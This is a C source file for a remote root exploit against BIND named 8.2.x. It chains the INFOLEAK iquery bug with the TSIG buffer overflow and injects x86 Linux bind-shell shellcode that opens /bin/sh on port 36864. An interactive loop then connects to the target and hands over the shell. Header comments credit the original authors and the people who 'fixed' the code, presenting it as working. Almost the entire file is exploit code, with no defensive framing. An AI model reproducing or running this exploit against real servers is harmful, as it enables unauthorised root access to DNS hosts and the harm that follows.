/* * This exploit has been fixed and extensive explanation and clarification * added. * Cleanup done by: * Ian Goldberg <ian@cypherpunks.ca> * Jonathan Wilkins <jwilkins@bitland.net> * NOTE: the default installation of RedHat 6.2 seems to not be affected * due to the compiler options. If BIND is built from source then the * bug is able to manifest itself. */ /* * Original Comment: * lame named 8.2.x remote exploit by * * Ix [adresadeforward@yahoo.com] (the master of jmpz), * lucysoft [lucysoft@hotmail.com] (the master of queries) * * this exploits the named INFOLEAK and TSIG bug (see http://www.isc.org/products/BIND/bind-security.html) * linux only shellcode * this is only for demo purposes, we are not responsable in any way for what you do with this code. * * flamez - canaris * greetz - blizzard, netman. * creditz - anathema <anathema@hack.co.za> for the original shellcode * - additional code ripped from statdx exploit by ron1n * * woo, almost forgot... this exploit is pretty much broken (+4 errors), but we hope you got the idea. * if you understand how it works, it won't be too hard to un-broke it */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <time.h> #include <string.h> #include <ctype.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <arpa/nameser.h> #define max(a,b) ((a)>(b)?(a):(b)) #define BUFFSIZE 4096 int argevdisp1, argevdisp2; char shellcode[] = /* The numbers at the right indicate the number of bytes the call takes * and the number of bytes used so far. This needs to be lower than * 62 in order to fit in a single Query Record. 2 are used in total to * send the shell code */ /* main: */ /* "callz" is more than 127 bytes away, so we jump to an intermediate spot first */ "\xeb\x44" /* jmp intr */ // 2 - 2 /* start: */ "\x5e" /* popl %esi */ // 1 - 3 /* socket() */ "\x29\xc0" /* subl %eax, %eax */ // 2 - 5 "\x89\x46\x10" /* movl %eax, 0x10(%esi) */ // 3 - 8 "\x40" /* incl %eax */ // 1 - 9 "\x89\xc3" /* movl %eax, %ebx */ // 2 - 11 "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */ // 3 - 14 "\x40" /* incl %eax */ // 1 - 15 "\x89\x46\x08" /* movl %eax, 0x08(%esi) */ // 3 - 18 "\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 21 "\xb0\x66" /* movb $0x66, %al */ // 2 - 23 "\xcd\x80" /* int $0x80 */ // 2 - 25 /* bind() */ "\x43" /* incl %ebx */ // 1 - 26 "\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */ // 4 - 30 "\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */ // 4 - 34 "\x88\x46\x08" /* movb %al, 0x08(%esi) */ // 3 - 37 "\x29\xc0" /* subl %eax, %eax */ // 2 - 39 "\x89\xc2" /* movl %eax, %edx */ // 2 - 41 "\x89\x46\x18" /* movl %eax, 0x18(%esi) */ // 3 - 44 /* * the port address in hex (0x9000 = 36864), if this is changed, then a similar * change must be made in the connection() call * NOTE: you only get to set the high byte */ "\xb0\x90" /* movb $0x90, %al */ // 2 - 46 "\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */ // 4 - 50 "\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */ // 3 - 53 "\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */ // 3 - 56 "\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 59 "\xeb\x02" /* jmp cont */ // 2 - 2 /* intr: */ "\xeb\x43" /* jmp callz */ // 2 - 4 /* cont: */ "\xb0\x66" /* movb $0x66, %al */ // 2 - 6 "\xcd\x80" /* int $0x80 */ // 2 - 10 /* listen() */ "\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */ // 3 - 11 "\x43" /* incl %ebx */ // 1 - 12 "\x43" /* incl %ebx */ // 1 - 13 "\xb0\x66" /* movb $0x66, %al */ // 2 - 15 "\xcd\x80" /* int $0x80 */ // 2 - 17 /* accept() */ "\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */ // 3 - 20 "\x89\x56\x10" /* movl %edx, 0x10(%esi) */ // 3 - 23 "\xb0\x66" /* movb $0x66, %al */ // 2 - 25 "\x43" /* incl %ebx */ // 1 - 26 "\xcd\x80" /* int $0x80 */ // 1 - 27 /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */ "\x86\xc3" /* xchgb %al, %bl */ // 2 - 29 "\xb0\x3f" /* movb $0x3f, %al */ // 2 - 31 "\x29\xc9" /* subl %ecx, %ecx */ // 2 - 33 "\xcd\x80" /* int $0x80 */ // 2 - 35 "\xb0\x3f" /* movb $0x3f, %al */ // 2 - 37 "\x41" /* incl %ecx */ // 1 - 38 "\xcd\x80" /* int $0x80 */ // 2 - 40 "\xb0\x3f" /* movb $0x3f, %al */ // 2 - 42 "\x41" /* incl %ecx */ // 1 - 43 "\xcd\x80" /* int $0x80 */ // 2 - 45 /* execve() */ "\x88\x56\x07" /* movb %dl, 0x07(%esi) */ // 3 - 48 "\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */ // 3 - 51 "\x87\xf3" /* xchgl %esi, %ebx */ // 2 - 53 "\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */ // 3 - 56 "\xb0\x0b" /* movb $0x0b, %al */ // 2 - 58 "\xcd\x80" /* int $0x80 */ // 2 - 60 "\x90" /* callz: */ "\xe8\x72\xff\xff\xff" /* call start */ // 5 - 5 "/bin/sh"; /* There's a NUL at the end here */ // 8 - 13 unsigned long resolve_host(char* host) { long res; struct hostent* he; if (0 > (res = inet_addr(host))) { if (!(he = gethostbyname(host))) return(0); res = *(unsigned long*)he->h_addr; } return(res); } int dumpbuf(char *buff, int len) { char line[17]; int x; /* print out a pretty hex dump */ for(x=0;x<len;x++){ if(!(x%16) && x){ line[16] = 0; printf("\t%s\n", line); } printf("%02X ", (unsigned char)buff[x]); if(isprint((unsigned char)buff[x])) line[x%16]=buff[x]; else line[x%16]='.'; } printf("\n"); } void runshell(int sockd) { char buff[1024]; int fmax, ret; fd_set fds; fmax = max(fileno(stdin), sockd) + 1; send(sockd, "uname -a; id;\n", 15, 0); for(;;) { FD_ZERO(&fds); FD_SET(fileno(stdin), &fds); FD_SET(sockd, &fds); if(select(fmax, &fds, NULL, NULL, NULL) < 0) { exit(EXIT_FAILURE); } if(FD_ISSET(sockd, &fds)) { bzero(buff, sizeof buff); if((ret = recv(sockd, buff, sizeof buff, 0)) < 0) { exit(EXIT_FAILURE); } if(!ret) { fprintf(stderr, "Connection closed\n"); exit(EXIT_FAILURE); } write(fileno(stdout), buff, ret); } if(FD_ISSET(fileno(stdin), &fds)) { bzero(buff, sizeof buff); ret = read(fileno(stdin), buff, sizeof buff); if(send(sockd, buff, ret, 0) != ret) { fprintf(stderr, "Transmission loss\n"); exit(EXIT_FAILURE); } } } } connection(struct sockaddr_in host) { int sockd; host.sin_port = htons(36864); printf("[*] connecting..\n"); usleep(2000); if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { exit(EXIT_FAILURE); } if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1) { printf("[*] wait for your shell..\n"); usleep(500); runshell(sockd); } else { printf("[x] error: named not vulnerable or wrong offsets used\n"); } close(sockd); } int infoleak_qry(char* buff) { HEADER* hdr; int n, k; char* ptr; int qry_space = 12; int dummy_names = 7; int evil_size = 0xff; memset(buff, 0, BUFFSIZE); hdr = (HEADER*)buff; hdr->id = htons(0xbeef); hdr->opcode = IQUERY; hdr->rd = 1; hdr->ra = 1; hdr->qdcount = htons(0); hdr->nscount = htons(0); hdr->ancount = htons(1); hdr->arcount = htons(0); ptr = buff + sizeof(HEADER); printf("[d] HEADER is %d long\n", sizeof(HEADER)); n = 62; for(k=0; k < dummy_names; k++) { *ptr++ = n; ptr += n; } ptr += 1; PUTSHORT(1/*ns_t_a*/, ptr); /* type */ PUTSHORT(T_A, ptr); /* class */ PUTLONG(1, ptr); /* ttl */ PUTSHORT(evil_size, ptr); /* our *evil* size */ return(ptr - buff + qry_space); } int evil_query(char* buff, int offset) { int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0; HEADER* hdr; char *ptr; int k, bufflen; u_int n, m; u_short s; int i; int shelloff, shellstarted, shelldone; int towrite, ourpack; int n_dummy_rrs = 7; printf("[d] evil_query(buff, %08x)\n", offset); printf("[d] shellcode is %d long\n", sizeof(shellcode)); shelladdr = offset - 0x200; lameaddr = shelladdr + 0x300; ourpack = offset - 0x250 + 2; towrite = (offset & ~0xff) - ourpack - 6; printf("[d] olb = %d\n", (unsigned char) (offset & 0xff)); rroffsetidx = towrite / 70; offset0 = towrite - rroffsetidx * 70; if ((offset0 > 52) || (rroffsetidx > 6)) { printf("[x] could not write our data in buffer (offset0=%d, rroffsetidx=%d)\n", offset0, rroffsetidx); return(-1); } rrshellidx = 1; deplshellcode = 2; hdr = (HEADER*)buff; memset(buff, 0, BUFFSIZE); /* complete the header */ hdr->id = htons(0xdead); hdr->opcode = QUERY; hdr->rd = 1; hdr->ra = 1; hdr->qdcount = htons(n_dummy_rrs); hdr->ancount = htons(0); hdr->arcount = htons(1); ptr = buff + sizeof(HEADER); shellstarted = 0; shelldone = 0; shelloff = 0; n = 63; for (k = 0; k < n_dummy_rrs; k++) { *ptr++ = (char)n; for(i = 0; i < n-2; i++) { if((k == rrshellidx) && (i == deplshellcode) && !shellstarted) { printf("[*] injecting shellcode at %d\n", k); shellstarted = 1; } if ((k == rroffsetidx) && (i == offset0)) { *ptr++ = lameaddr & 0x000000ff; *ptr++ = (lameaddr & 0x0000ff00) >> 8; *ptr++ = (lameaddr & 0x00ff0000) >> 16; *ptr++ = (lameaddr & 0xff000000) >> 24; *ptr++ = shelladdr & 0x000000ff; *ptr++ = (shelladdr & 0x0000ff00) >> 8; *ptr++ = (shelladdr & 0x00ff0000) >> 16; *ptr++ = (shelladdr & 0xff000000) >> 24; *ptr++ = argevdisp1 & 0x000000ff; *ptr++ = (argevdisp1 & 0x0000ff00) >> 8; *ptr++ = (argevdisp1 & 0x00ff0000) >> 16; *ptr++ = (argevdisp1 & 0xff000000) >> 24; *ptr++ = argevdisp2 & 0x000000ff; *ptr++ = (argevdisp2 & 0x0000ff00) >> 8; *ptr++ = (argevdisp2 & 0x00ff0000) >> 16; *ptr++ = (argevdisp2 & 0xff000000) >> 24; i += 15; } else { if (shellstarted && !shelldone) { *ptr++ = shellcode[shelloff++]; if(shelloff == (sizeof(shellcode))) shelldone=1; } else { *ptr++ = i; } } } /* OK: this next set of bytes constitutes the end of the * NAME field, the QTYPE field, and the QCLASS field. * We have to have the shellcode skip over these bytes, * as well as the leading 0x3f (63) byte for the next * NAME field. We do that by putting a jmp instruction * here. */ *ptr++ = 0xeb; if (k == 0) { *ptr++ = 10; /* For alignment reasons, we need to stick an extra * NAME segment in here, of length 3 (2 + header). */ m = 2; *ptr++ = (char)m; // header ptr += 2; } else { *ptr++ = 0x07; } /* End the NAME with a compressed pointer. Note that it's * not clear that the value used, C0 00, is legal (it * points to the beginning of the packet), but BIND apparently * treats such things as name terminators, anyway. */ *ptr++ = 0xc0; /*NS_CMPRSFLGS*/ *ptr++ = 0x00; /*NS_CMPRSFLGS*/ ptr += 4; /* QTYPE, QCLASS */ } /* Now we make the TSIG AR */ *ptr++ = 0x00; /* Empty name */ PUTSHORT(0xfa, ptr); /* Type TSIG */ PUTSHORT(0xff, ptr); /* Class ANY */ bufflen = ptr - buff; // dumpbuf(buff, bufflen); return(bufflen); } long xtract_offset(char* buff, int len) { long ret; /* Here be dragons. */ /* (But seriously, the values here depend on compilation options * used for BIND. */ ret = *((long*)&buff[0x214]); argevdisp1 = 0x080d7cd0; argevdisp2 = *((long*)&buff[0x264]); printf("[d] argevdisp1 = %08x, argevdisp2 = %08x\n", argevdisp1, argevdisp2); // dumpbuf(buff, len); return(ret); } int main(int argc, char* argv[]) { struct sockaddr_in sa; int sock; long address; char buff[BUFFSIZE]; int len, i; long offset; socklen_t reclen; unsigned char foo[4]; printf("[*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix\n"); printf("[*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net\n\n"); address = 0; if (argc < 2) { printf("[*] usage : %s host\n", argv[0]); return(-1); } if (!(address = resolve_host(argv[1]))) { printf("[x] unable to resolve %s, try using an IP address\n", argv[1]); return(-1); } else { memcpy(foo, &address, 4); printf("[*] attacking %s (%d.%d.%d.%d)\n", argv[1], foo[0], foo[1], foo[2], foo[3]); } sa.sin_family = AF_INET; if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0))) { return(-1); } sa.sin_family = AF_INET; sa.sin_port = htons(53); sa.sin_addr.s_addr= address; len = infoleak_qry(buff); printf("[d] infoleak_qry was %d long\n", len); len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa)); if (len < 0) { printf("[*] unable to send iquery\n"); return(-1); } reclen = sizeof(sa); len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen); if (len < 0) { printf("[x] unable to receive iquery answer\n"); return(-1); } printf("[*] iquery resp len = %d\n", len); offset = xtract_offset(buff, len); printf("[*] retrieved stack offset = %x\n", offset); len = evil_query(buff, offset); if(len < 0){ printf("[x] error sending tsig packet\n"); return(0); } sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa)); if (0 > close(sock)) { return(-1); } connection(sa); return(0); }